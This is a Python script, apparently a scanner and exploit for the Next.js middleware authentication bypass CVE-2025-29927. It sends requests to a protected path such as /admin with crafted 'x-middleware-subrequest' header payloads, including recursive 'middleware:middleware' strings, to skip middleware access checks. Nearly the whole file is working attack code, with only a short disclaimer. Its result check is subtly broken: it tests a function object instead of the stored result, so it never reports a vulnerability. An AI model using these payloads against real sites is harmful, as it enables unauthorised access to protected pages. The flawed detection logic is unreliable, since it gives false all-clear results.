Next.js Corrupt Middleware Auth Bypass (CVE-2025-29927)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152

# Disclaimer: For authorized security research and educational use only.
# Do not use this tool on websites or systems you do not own or have
# explicit written permission to test. Unauthorized testing may be illegal.
import requests
import argparse


signin_paths = ['/signin', '/login', '/auth/login', '/auth/signin']
register_paths = ['/register', '/auth/register', '/auth/register']

verbose = False
show_headers = False

def print_message(message):
    if verbose:
        print(message)
    
    

def check_url_contains_path(url, paths, type):
    for path in paths:
        if path in url:
            print_message(f"✅ {type} Path {path} found in URL: {url}")
            return True
        
    print_message(f"❌ {type} Path not found in URL: {url}")    
    return False

def contains_success_codes(status_code):
    response = status_code != 302 and status_code <= 400
    
    if not response:
        print_message(f"❌ Status code {status_code} is not a success code")
    else:
        print_message(f"✅ Status code {status_code} is a success code")
    
    return response

def check_nextjs_middleware_vulnerability(url, path):
    """
    Check for Next.js middleware vulnerability (CVE-2025-29927)
    
    Args:
        url (str): Base URL of the Next.js application
        path (str): Protected path to test
    """
    # Configurations to test based on different Next.js versions
    payloads = [
        # For versions prior to 12.2
        'pages/_middleware',
        
        # For versions 12.2 and after
        'middleware',
        'src/middleware',
        
        # For recent versions (recursive payload)
        'middleware:middleware:middleware:middleware:middleware',
        'src/middleware:src/middleware:src/middleware:src/middleware:src/middleware'
    ]

    print(f"🕵️ Checking {url} for Next.js Middleware Vulnerability (CVE-2025-29927)")

    for payload in payloads:
        try:
            # Send request with custom middleware subrequest header
            headers = {
                'x-middleware-subrequest': payload
            }
            
            # Allow redirects and accept all status codes
            response = requests.get(
                url + path, 
                headers=headers, 
                allow_redirects=True
            )

            print(f"\n🔍 Tested payload: {payload}")
            print(f"Status Code: {response.status_code}")
            print(f"Accessed URL: {response.url}")
            
            # Check if accessing a protected path that should have been blocked
            
            contains_success = contains_success_codes(response.status_code)
            contains_login_paths = check_url_contains_path(response.url, signin_paths, "login")
            contains_register_paths = check_url_contains_path(response.url, register_paths, "register")
            
            if not contains_success_codes and not contains_login_paths and not contains_register_paths:
                print(f"🚨 POTENTIAL VULNERABILITY DETECTED with payload: {payload}")
                print('The site might be vulnerable to middleware bypass!')
            else:
                print("✅ No vulnerability detected with payload:", payload)       
                
            if show_headers:
                print("Response Headers:")
                for header, value in response.headers.items():
                    print(f"{header}: {value}")
        
        except requests.RequestException as e:
            print(f"Error testing payload {payload}: {e}")

def main():
    # Set up argument parser
    parser = argparse.ArgumentParser(
        description='Check Next.js site for middleware vulnerability (CVE-2025-29927)',
        epilog='IMPORTANT: Only use on sites you own or have explicit permission to test!'
    )
    
    parser.add_argument(
        'url', 
        help='Base URL of the Next.js site (e.g., https://example.com)'
    )
    
    parser.add_argument(
        'path', 
        nargs='?', 
        default='/admin', 
        help='Protected path to test (default: /admin)'
    )
    
    parser.add_argument(
        '-s', 
        '--show-headers',
        action='store_true',
        help='Show response headers (default: False)'
    )
    
    parser.add_argument(
        '-v', 
        '--verbose', 
        action='store_true', 
        help='Enable verbose output'
    )
    
    

    # Parse arguments
    args = parser.parse_args()
    
    if args.verbose:
        global verbose
        verbose = True
        
    if args.show_headers:
        global show_headers
        show_headers = True
    

    # Run vulnerability check
    check_nextjs_middleware_vulnerability(args.url, args.path)

if __name__ == "__main__":
    main()